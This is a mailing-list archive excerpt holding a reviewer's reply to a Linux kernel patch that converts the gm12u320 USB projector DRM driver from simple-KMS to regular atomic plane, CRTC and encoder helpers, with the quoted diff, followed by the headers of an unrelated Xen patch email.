	iY9Tim/GeeXLNdBA==
Authentication-Results: smtp-out1.suse.de;
	dkim=pass header.d=suse.de header.s=susede2_rsa header.b="dILxM/gr";
	dkim=pass header.d=suse.de header.s=susede2_ed25519 header.b=87sBJDQk
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1783675267; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=8qm83c1l0o6q3XoAGYoMaLAsZhnmYdvopXg5ZHUKvsU=;
	b=dILxM/grMnkzT//PGjQgvRPzbTCyIqvBUwpem+/INy1OyOSXlBIsz9gqcx8MxRJrJ6EpZX
	Cpig7crCihNg5sGQ7MQqhcSHYm1taht0DXodMMnHJ4Mb+/tkfV7+s15uwBCTIpFPuCs4Km
	/5539L0LnwIhNbmOea8tBUeTeEyZvHk=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1783675267;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=8qm83c1l0o6q3XoAGYoMaLAsZhnmYdvopXg5ZHUKvsU=;
	b=87sBJDQkU9r1dB9EiaLLEplnR13DEPh/Y9k4Hfy/3NsxtVESK1Yh4eBVWlPV4NslXUHVcs
	iY9Tim/GeeXLNdBA==
Message-ID: <54ca357b-6069-4c04-b0c2-f1aca96dbd79@suse.de>
Date: Fri, 10 Jul 2026 11:21:06 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 6/9] drm/gm12u320: replace struct drm_simple_display_pipe
 with regular atomic helpers
From: Thomas Zimmermann <tzimmermann@suse.de>
To: Ze Huang <ze.huang@oss.qualcomm.com>,
 Alexey Brodkin <abrodkin@synopsys.com>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Joel Stanley <joel@jms.id.au>,
 Andrew Jeffery <andrew@codeconstruct.com.au>, Frank Li <Frank.Li@nxp.com>,
 Sascha Hauer <s.hauer@pengutronix.de>,
 Pengutronix Kernel Team <kernel@pengutronix.de>,
 Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
 Hans de Goede <hansg@kernel.org>, Alex Lanzano <lanzano.alex@gmail.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
 linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
 imx@lists.linux.dev, xen-devel@lists.xenproject.org
References: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
 <20260705-drm-simple-kms-removal-v1-6-b4e1ca053623@oss.qualcomm.com>
 <e69b3cf5-9a9f-46ca-abc8-68c1375ef6ca@suse.de>
Content-Language: en-US
Autocrypt: addr=tzimmermann@suse.de; keydata=
 xsBNBFs50uABCADEHPidWt974CaxBVbrIBwqcq/WURinJ3+2WlIrKWspiP83vfZKaXhFYsdg
 XH47fDVbPPj+d6tQrw5lPQCyqjwrCPYnq3WlIBnGPJ4/jreTL6V+qfKRDlGLWFjZcsrPJGE0
 BeB5BbqP5erN1qylK9i3gPoQjXGhpBpQYwRrEyQyjuvk+Ev0K1Jc5tVDeJAuau3TGNgah4Yc
 hdHm3bkPjz9EErV85RwvImQ1dptvx6s7xzwXTgGAsaYZsL8WCwDaTuqFa1d1jjlaxg6+tZsB
 9GluwvIhSezPgnEmimZDkGnZRRSFiGP8yjqTjjWuf0bSj5rUnTGiyLyRZRNGcXmu6hjlABEB
 AAHNJ1Rob21hcyBaaW1tZXJtYW5uIDx0emltbWVybWFubkBzdXNl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/61JWk8OysuIh7MXkl0fxbRKWE93XeQBhIJHQfnc+YBLprdnxR446Sh8Wn/2D
 Ya8cavuWf2zrB6cZurs048xe0UbSW5AOSo4V9M0jzYI4nZqTmPxYyXbm30Kvmz0rYVRaitYJ
 4kyYYMhuULvrJDMjZRvaNe52tkKAvMevcGdt38H4KSVXAylqyQOW5zvPc4/sq9c=
In-Reply-To: <e69b3cf5-9a9f-46ca-abc8-68c1375ef6ca@suse.de>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Rspamd-Action: no action
X-Rspamd-Queue-Id: D50E6766B2
X-Spam-Flag: NO
X-Spam-Score: -3.01
X-Spam-Level: 
X-Spamd-Result: default: False [-3.01 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	SUSPICIOUS_RECIPS(1.50)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_DKIM_ALLOW(-0.20)[suse.de:s=susede2_rsa,suse.de:s=susede2_ed25519];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	DKIM_SIGNED(0.00)[suse.de:s=susede2_rsa,suse.de:s=susede2_ed25519];
	FREEMAIL_TO(0.00)[oss.qualcomm.com,synopsys.com,linux.intel.com,kernel.org,gmail.com,ffwll.ch,jms.id.au,codeconstruct.com.au,nxp.com,pengutronix.de,epam.com];
	RBL_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	MIME_TRACE(0.00)[0:+];
	ARC_NA(0.00)[];
	FREEMAIL_ENVRCPT(0.00)[gmail.com];
	RCVD_TLS_ALL(0.00)[];
	DKIM_TRACE(0.00)[suse.de:+];
	RCVD_COUNT_TWO(0.00)[2];
	FROM_EQ_ENVFROM(0.00)[];
	FROM_HAS_DN(0.00)[];
	RCPT_COUNT_TWELVE(0.00)[22];
	DNSWL_BLOCKED(0.00)[2a07:de40:b281:104:10:150:64:97:from,2a07:de40:b281:106:10:150:64:167:received];
	RECEIVED_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	MID_RHS_MATCH_FROM(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	TAGGED_RCPT(0.00)[];
	TO_DN_SOME(0.00)[]
X-Rspamd-Server: rspamd1.dmz-prg2.suse.org
X-purgate-ID: tlsNG-4011c0/1783675268-AEF77248-05FE8121/0/0
X-purgate-type: clean
X-purgate-size: 10621



Am 10.07.26 um 11:09 schrieb Thomas Zimmermann:
> Hi
>
> Am 04.07.26 um 20:31 schrieb Ze Huang:
>> Convert gm12u320 to direct primary plane, CRTC and encoder setup.
>>
>> Keep shadow-plane helper state, framebuffer access helpers and
>> no-scaling plane-state check from simple-KMS path.
>>
>> Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
>
> Reviewed-by: Thomas Zimmermann <tzimmermann@suse.de>
>
> And I also have this device. Works nicely with the patch
>
> Tested-by: Thomas Zimmermann <tzimmermann@suse.de>

Well, see my reply to the Sashiko bot for possible problems.

>
>> ---
>> Â  drivers/gpu/drm/tiny/gm12u320.c | 128 
>> ++++++++++++++++++++++++++++++++--------
>> Â  1 file changed, 104 insertions(+), 24 deletions(-)
>>
>> diff --git a/drivers/gpu/drm/tiny/gm12u320.c 
>> b/drivers/gpu/drm/tiny/gm12u320.c
>> index d73dfebb4353..992160ea794d 100644
>> --- a/drivers/gpu/drm/tiny/gm12u320.c
>> +++ b/drivers/gpu/drm/tiny/gm12u320.c
>> @@ -8,6 +8,7 @@
>> Â  #include <linux/usb.h>
>> Â  Â  #include <drm/clients/drm_client_setup.h>
>> +#include <drm/drm_atomic.h>
>> Â  #include <drm/drm_atomic_helper.h>
>> Â  #include <drm/drm_atomic_state_helper.h>
>> Â  #include <drm/drm_connector.h>
>> @@ -27,7 +28,6 @@
>> Â  #include <drm/drm_modeset_helper_vtables.h>
>> Â  #include <drm/drm_print.h>
>> Â  #include <drm/drm_probe_helper.h>
>> -#include <drm/drm_simple_kms_helper.h>
>> Â  Â  static bool eco_mode;
>> Â  module_param(eco_mode, bool, 0644);
>> @@ -87,7 +87,9 @@ MODULE_PARM_DESC(eco_mode, "Turn on Eco mode (less 
>> bright, more silent)");
>> Â  Â  struct gm12u320_device {
>> Â Â Â Â Â  struct drm_deviceÂ Â Â Â Â Â Â Â Â Â Â Â  dev;
>> -Â Â Â  struct drm_simple_display_pipeÂ Â  pipe;
>> +Â Â Â  struct drm_planeÂ Â Â Â Â Â Â Â Â Â Â Â  plane;
>> +Â Â Â  struct drm_crtcÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  crtc;
>> +Â Â Â  struct drm_encoderÂ Â Â Â Â Â Â Â Â Â Â Â  encoder;
>> Â Â Â Â Â  struct drm_connectorÂ Â Â Â Â Â Â Â Â Â Â Â  conn;
>> Â Â Â Â Â  unsigned charÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  *cmd_buf;
>> Â Â Â Â Â  unsigned char *data_buf[GM12U320_BLOCK_COUNT];
>> @@ -554,31 +556,33 @@ static int gm12u320_conn_init(struct 
>> gm12u320_device *gm12u320)
>> Â  }
>> Â  Â  /* 
>> ------------------------------------------------------------------ */
>> -/* gm12u320 (simple) display pipeÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  */
>> +/* gm12u320 display pipeÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  */
>> Â  -static void gm12u320_pipe_enable(struct drm_simple_display_pipe 
>> *pipe,
>> -Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  struct drm_crtc_state *crtc_state,
>> -Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  struct drm_plane_state *plane_state)
>> +static void gm12u320_crtc_helper_atomic_enable(struct drm_crtc *crtc,
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  struct drm_atomic_commit *commit)
>> Â  {
>> Â Â Â Â Â  struct drm_rect rect = { 0, 0, GM12U320_USER_WIDTH, 
>> GM12U320_HEIGHT };
>> -Â Â Â  struct gm12u320_device *gm12u320 = to_gm12u320(pipe->crtc.dev);
>> +Â Â Â  struct gm12u320_device *gm12u320 = to_gm12u320(crtc->dev);
>> +Â Â Â  struct drm_plane_state *plane_state = crtc->primary->state;
>> Â Â Â Â Â  struct drm_shadow_plane_state *shadow_plane_state = 
>> to_drm_shadow_plane_state(plane_state);
>> Â  Â Â Â Â Â  gm12u320->fb_update.draw_status_timeout = FIRST_FRAME_TIMEOUT;
>> Â Â Â Â Â  gm12u320_fb_mark_dirty(plane_state->fb, 
>> &shadow_plane_state->data[0], &rect);
>> Â  }
>> Â  -static void gm12u320_pipe_disable(struct drm_simple_display_pipe 
>> *pipe)
>> +static void gm12u320_crtc_helper_atomic_disable(struct drm_crtc *crtc,
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  struct drm_atomic_commit *commit)
>> Â  {
>> -Â Â Â  struct gm12u320_device *gm12u320 = to_gm12u320(pipe->crtc.dev);
>> +Â Â Â  struct gm12u320_device *gm12u320 = to_gm12u320(crtc->dev);
>> Â  Â Â Â Â Â  gm12u320_stop_fb_update(gm12u320);
>> Â  }
>> Â  -static void gm12u320_pipe_update(struct drm_simple_display_pipe 
>> *pipe,
>> -Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  struct drm_plane_state *old_state)
>> +static void gm12u320_plane_helper_atomic_update(struct drm_plane 
>> *plane,
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  struct drm_atomic_commit *commit)
>> Â  {
>> -Â Â Â  struct drm_plane_state *state = pipe->plane.state;
>> +Â Â Â  struct drm_plane_state *old_state = 
>> drm_atomic_get_old_plane_state(commit, plane);
>> +Â Â Â  struct drm_plane_state *state = plane->state;
>> Â Â Â Â Â  struct drm_shadow_plane_state *shadow_plane_state = 
>> to_drm_shadow_plane_state(state);
>> Â Â Â Â Â  struct drm_rect rect;
>> Â  @@ -586,11 +590,71 @@ static void gm12u320_pipe_update(struct 
>> drm_simple_display_pipe *pipe,
>> Â Â Â Â Â Â Â Â Â  gm12u320_fb_mark_dirty(state->fb, 
>> &shadow_plane_state->data[0], &rect);
>> Â  }
>> Â  -static const struct drm_simple_display_pipe_funcs 
>> gm12u320_pipe_funcs = {
>> -Â Â Â  .enableÂ Â Â Â Â Â Â  = gm12u320_pipe_enable,
>> -Â Â Â  .disableÂ Â Â  = gm12u320_pipe_disable,
>> -Â Â Â  .updateÂ Â Â Â Â Â Â  = gm12u320_pipe_update,
>> -Â Â Â  DRM_GEM_SIMPLE_DISPLAY_PIPE_SHADOW_PLANE_FUNCS,
>> +static const struct drm_plane_funcs gm12u320_plane_funcs = {
>> +Â Â Â  .update_planeÂ Â Â  = drm_atomic_helper_update_plane,
>> +Â Â Â  .disable_planeÂ Â Â  = drm_atomic_helper_disable_plane,
>> +Â Â Â  .destroyÂ Â Â  = drm_plane_cleanup,
>> +Â Â Â  DRM_GEM_SHADOW_PLANE_FUNCS,
>> +};
>> +
>> +static int gm12u320_plane_helper_atomic_check(struct drm_plane *plane,
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  struct drm_atomic_commit *state)
>> +{
>> +Â Â Â  struct drm_plane_state *plane_state = 
>> drm_atomic_get_new_plane_state(state, plane);
>> +Â Â Â  struct drm_crtc *crtc = plane_state->crtc;
>> +Â Â Â  struct drm_crtc_state *crtc_state = NULL;
>> +Â Â Â  int ret;
>> +
>> +Â Â Â  if (crtc)
>> +Â Â Â Â Â Â Â  crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
>> +
>> +Â Â Â  ret = drm_atomic_helper_check_plane_state(plane_state, crtc_state,
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  DRM_PLANE_NO_SCALING,
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  DRM_PLANE_NO_SCALING,
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  false, false);
>> +Â Â Â  return ret;
>
> Interestingly, this patch handled _check_plane_state() correctly.
>
> Best regards
> Thomas
>
>> +}
>> +
>> +static const struct drm_plane_helper_funcs 
>> gm12u320_plane_helper_funcs = {
>> +Â Â Â  DRM_GEM_SHADOW_PLANE_HELPER_FUNCS,
>> +Â Â Â  .atomic_checkÂ Â Â  = gm12u320_plane_helper_atomic_check,
>> +Â Â Â  .atomic_updateÂ Â Â  = gm12u320_plane_helper_atomic_update,
>> +};
>> +
>> +static int gm12u320_crtc_helper_atomic_check(struct drm_crtc *crtc,
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  struct drm_atomic_commit *state)
>> +{
>> +Â Â Â  struct drm_crtc_state *crtc_state = 
>> drm_atomic_get_new_crtc_state(state, crtc);
>> +Â Â Â  int ret;
>> +
>> +Â Â Â  if (!crtc_state->enable)
>> +Â Â Â Â Â Â Â  goto out;
>> +
>> +Â Â Â  ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
>> +Â Â Â  if (ret)
>> +Â Â Â Â Â Â Â  return ret;
>> +
>> +out:
>> +Â Â Â  return drm_atomic_add_affected_planes(state, crtc);
>> +}
>> +
>> +static const struct drm_crtc_helper_funcs gm12u320_crtc_helper_funcs 
>> = {
>> +Â Â Â  .atomic_checkÂ Â Â  = gm12u320_crtc_helper_atomic_check,
>> +Â Â Â  .atomic_enableÂ Â Â  = gm12u320_crtc_helper_atomic_enable,
>> +Â Â Â  .atomic_disableÂ Â Â  = gm12u320_crtc_helper_atomic_disable,
>> +};
>> +
>> +static const struct drm_crtc_funcs gm12u320_crtc_funcs = {
>> +Â Â Â  .set_configÂ Â Â Â Â Â Â  = drm_atomic_helper_set_config,
>> +Â Â Â  .page_flipÂ Â Â Â Â Â Â  = drm_atomic_helper_page_flip,
>> +Â Â Â  .resetÂ Â Â Â Â Â Â Â Â Â Â  = drm_atomic_helper_crtc_reset,
>> +Â Â Â  .destroyÂ Â Â Â Â Â Â  = drm_crtc_cleanup,
>> +Â Â Â  .atomic_duplicate_stateÂ Â Â  = 
>> drm_atomic_helper_crtc_duplicate_state,
>> +Â Â Â  .atomic_destroy_stateÂ Â Â  = drm_atomic_helper_crtc_destroy_state,
>> +};
>> +
>> +static const struct drm_encoder_funcs gm12u320_encoder_funcs = {
>> +Â Â Â  .destroy = drm_encoder_cleanup,
>> Â  };
>> Â  Â  static const uint32_t gm12u320_pipe_formats[] = {
>> @@ -677,13 +741,29 @@ static int gm12u320_usb_probe(struct 
>> usb_interface *interface,
>> Â Â Â Â Â  if (ret)
>> Â Â Â Â Â Â Â Â Â  return ret;
>> Â  -Â Â Â  ret = drm_simple_display_pipe_init(&gm12u320->dev,
>> -Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  &gm12u320->pipe,
>> -Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  &gm12u320_pipe_funcs,
>> -Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  gm12u320_pipe_formats,
>> -Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  ARRAY_SIZE(gm12u320_pipe_formats),
>> -Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  gm12u320_pipe_modifiers,
>> -Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  &gm12u320->conn);
>> +Â Â Â  ret = drm_universal_plane_init(dev, &gm12u320->plane, 0,
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  &gm12u320_plane_funcs,
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  gm12u320_pipe_formats,
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  ARRAY_SIZE(gm12u320_pipe_formats),
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  gm12u320_pipe_modifiers,
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  DRM_PLANE_TYPE_PRIMARY, NULL);
>> +Â Â Â  if (ret)
>> +Â Â Â Â Â Â Â  return ret;
>> +Â Â Â  drm_plane_helper_add(&gm12u320->plane, 
>> &gm12u320_plane_helper_funcs);
>> +
>> +Â Â Â  ret = drm_crtc_init_with_planes(dev, &gm12u320->crtc, 
>> &gm12u320->plane, NULL,
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  &gm12u320_crtc_funcs, NULL);
>> +Â Â Â  if (ret)
>> +Â Â Â Â Â Â Â  return ret;
>> +Â Â Â  drm_crtc_helper_add(&gm12u320->crtc, &gm12u320_crtc_helper_funcs);
>> +
>> +Â Â Â  ret = drm_encoder_init(dev, &gm12u320->encoder, 
>> &gm12u320_encoder_funcs,
>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  DRM_MODE_ENCODER_NONE, NULL);
>> +Â Â Â  if (ret)
>> +Â Â Â Â Â Â Â  return ret;
>> +Â Â Â  gm12u320->encoder.possible_crtcs = drm_crtc_mask(&gm12u320->crtc);
>> +
>> +Â Â Â  ret = drm_connector_attach_encoder(&gm12u320->conn, 
>> &gm12u320->encoder);
>> Â Â Â Â Â  if (ret)
>> Â Â Â Â Â Â Â Â Â  return ret;
>>
>

-- 
--
Thomas Zimmermann
Graphics Driver Developer
SUSE Software Solutions Germany GmbH
Frankenstr. 146, 90461 NÃ¼rnberg, Germany, www.suse.com
GF: Jochen Jaser, Andrew McDonald, (HRB 36809, AG NÃ¼rnberg)




From xen-devel-bounces@lists.xenproject.org Fri Jul 10 09:31:52 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 09:31:52 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358984.1612796 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi7aF-0004m9-50; Fri, 10 Jul 2026 09:31:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358984.1612796; Fri, 10 Jul 2026 09:31:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi7aF-0004m2-0M; Fri, 10 Jul 2026 09:31:47 +0000
Received: by outflank-mailman (input) for mailman id 1358984;
 Fri, 10 Jul 2026 09:31:45 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Mykola_Kvach@epam.com>) id 1wi7aD-0004lw-Oo
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 09:31:45 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi7aC-0004Pf-20
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 11:31:44 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a50bbe6-bab6-0a2a0a5309dd-0a2a4502c9be-48
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 11:31:44 +0200
Received: from [52.101.83.123]
 (helo=GVXPR05CU001.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a50bbff-64c6-0a2a45020019-3465537b4eef-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 11:31:43 +0200
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com (2603:10a6:20b:61d::18)
 by AS8PR03MB7623.eurprd03.prod.outlook.com (2603:10a6:20b:347::12)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.17; Fri, 10 Jul
 2026 09:31:41 +0000
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7]) by AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7%4]) with mapi id 15.21.0181.016; Fri, 10 Jul 2026
 09:31:40 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=L4CA/7MNBkaWsS5HjziKYW91XIsjFpLVfFL/a1gC+7q1jjI20a0Jb3fKisvy2IUIB9hYG1DaGtc6ysm3jszdHHdNX8RE5Ok+qnXmqpCDrqp5ssz5CgQo2zYkuXVz1OytMmFL0fda2Zv6/odnLiLNVjMp6Xsfqeip/VBH5W9kslvlkfZGRDvP7fO0QCnfPfLe1XSlTR1WZiUQzaMIqQq5E3aGBnH4otv+/L3HaHe13ewbu2n87mgwwW6IytIRjthyAHgS3RFKbsQeUPe8G5eNe/IlTYZgXFXShSmXflEsvRXRxQ2vbVceXQKEyAnxhZdd4QFMY0Zxvjp/vvu8MCyEHg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=PGXDRuW/f7CWYCtAYcf9TvTLmljnHD5xqyHUbgUagZI=;
 b=C0MpLc+TsLcNAj7g83aeE1A9IlliRTl7TAnYPiRd+28xnfO7tinftrm1hW0FHcLTjOSHMx6DH7RQwal0hHJrkzB/XUOGj04i57UQUPi3sgGc+Z+xlxbLrDDNznpzbe975e+6nfA9ZkKJp4eym7qOKNoLRMkTOWKR0RQQhhRKVdPLUiuwBJBiBDJC4v9KsQROAmrfVU8VkASF95VR+foYl2vWjkPttQSYnHmsFUqS4WIeVJDdooM8jbArbeni0sRcbQQLhQBLaCt+8BexxsOW24UXXyBgTFMUcrge+WqX+uMsdNYrdGv5ssOB/Ol1O5hxc/tEmoonCIJp9j4KX43FrQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=PGXDRuW/f7CWYCtAYcf9TvTLmljnHD5xqyHUbgUagZI=;
 b=UXpTV+2MfCVS+vY7xnhtp2XI8S+psYfbKa8hUDWxuToiK0VAJHhB7NxtOYfZMCIJEEft4WFpXZz4mC4YgehvbgELciBXjHlSrqEAyFjrPQIOEm7CUW43KCtnLDdLgoJsYvGD7bz/PvMQudFvhCU9bFP2j+kzcjRlcQB7Z34+uQF4WjwnbcvdI9kQ3+nU63Q9S7gZnYnmPpyE0gcTy55C5EWF+XQobn0/NZYJPLyvZDY3eQdIDKUA2NOO7o5CcfFH2LoZP9e5YBosFObTcn4aCtHjqB1pMUOlE+NEVs0W6JSwMh4x/PhC5UkPkDOi86QnscqRf6CfLoYhOvzateG5xg==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
From: Mykola Kvach <mykola_kvach@epam.com>
To: xen-devel@lists.xenproject.org
Cc: Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
Subject: [PATCH for-4.22] xen/arm: derive GIC CPU interface ID fields from the vGIC
Date: Fri, 10 Jul 2026 12:31:31 +0300
Message-ID: <ba4f779d68c54efc80c4a566dca38ac2e6f9a073.1783675708.git.mykola_kvach@epam.com>
X-Mailer: git-send-email 2.43.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: WA0P291CA0016.POLP291.PROD.OUTLOOK.COM
 (2603:10a6:1d0:1::28) To AS8PR03MB9746.eurprd03.prod.outlook.com
 (2603:10a6:20b:61d::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: AS8PR03MB9746:EE_|AS8PR03MB7623:EE_
X-MS-Office365-Filtering-Correlation-Id: 65618ea2-ead9-4244-1dd0-08dede660b9c
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|23010399003|376014|366016|6133799003|18002099003|11063799006|56012099006;
X-Microsoft-Antispam-Message-Info:
	GRIsvaPzdegHlIBdzJJZh0ec7jQE20yzMNpFWiAiHszPaw2eezOZ9YcnWC7wkhttbri/YiACBIYQL2eAEQ5/QiQIudXboAPp7vassR0rMJqWWbCvopz9ns+kQuGN5KZOPcpGM2Meuy+66KLqtmR7iuOugb9ri4jjjlXZ7yXJNMPkH0wdVjcXBct4X+/N0pfzz9BkrGmeNxNe2DkXJluoXAdbIA68yYZHkpDEFnLUGI8onwmPgoT4dfa8nomqJT2qqXoDXIu5A6aBCXrOUeHhapm6EugyQTxWu28uM30tG2xbjL98IqNknYR0Jy9zj8te6fKzDApdi5j2UKr/P3oiHyM7krJ89fWWGPZt83DeYHI8yt8bcg8OwmkDbITaghY5qv3f7QGQc5owwHCmNCLxmK3zvFVuqquK+wNxwicp/sj8jq2xLSTaU7M5vDwA2/KTnUlHxxl8nubujcps5UoI+pOSvQNNH5o4czLhmZCpTevGiakuj1vM+Fnipsfzlo2Fn9kkK9vtyw9AhDvYmWFCK/6TykryKXvFE5960HaixizgeVMAA19WaCroO6CjZRhvG++2Z4FQMDjbEUW4FQYhju0ry0a0MTbX3s/PYlo2VyHOEVGqJJiKgSZgbWvVaxibZYZhaCj7TJrXB3N/ZSZxGVOhD3DY03vwOcQ4Ui+UZVM=
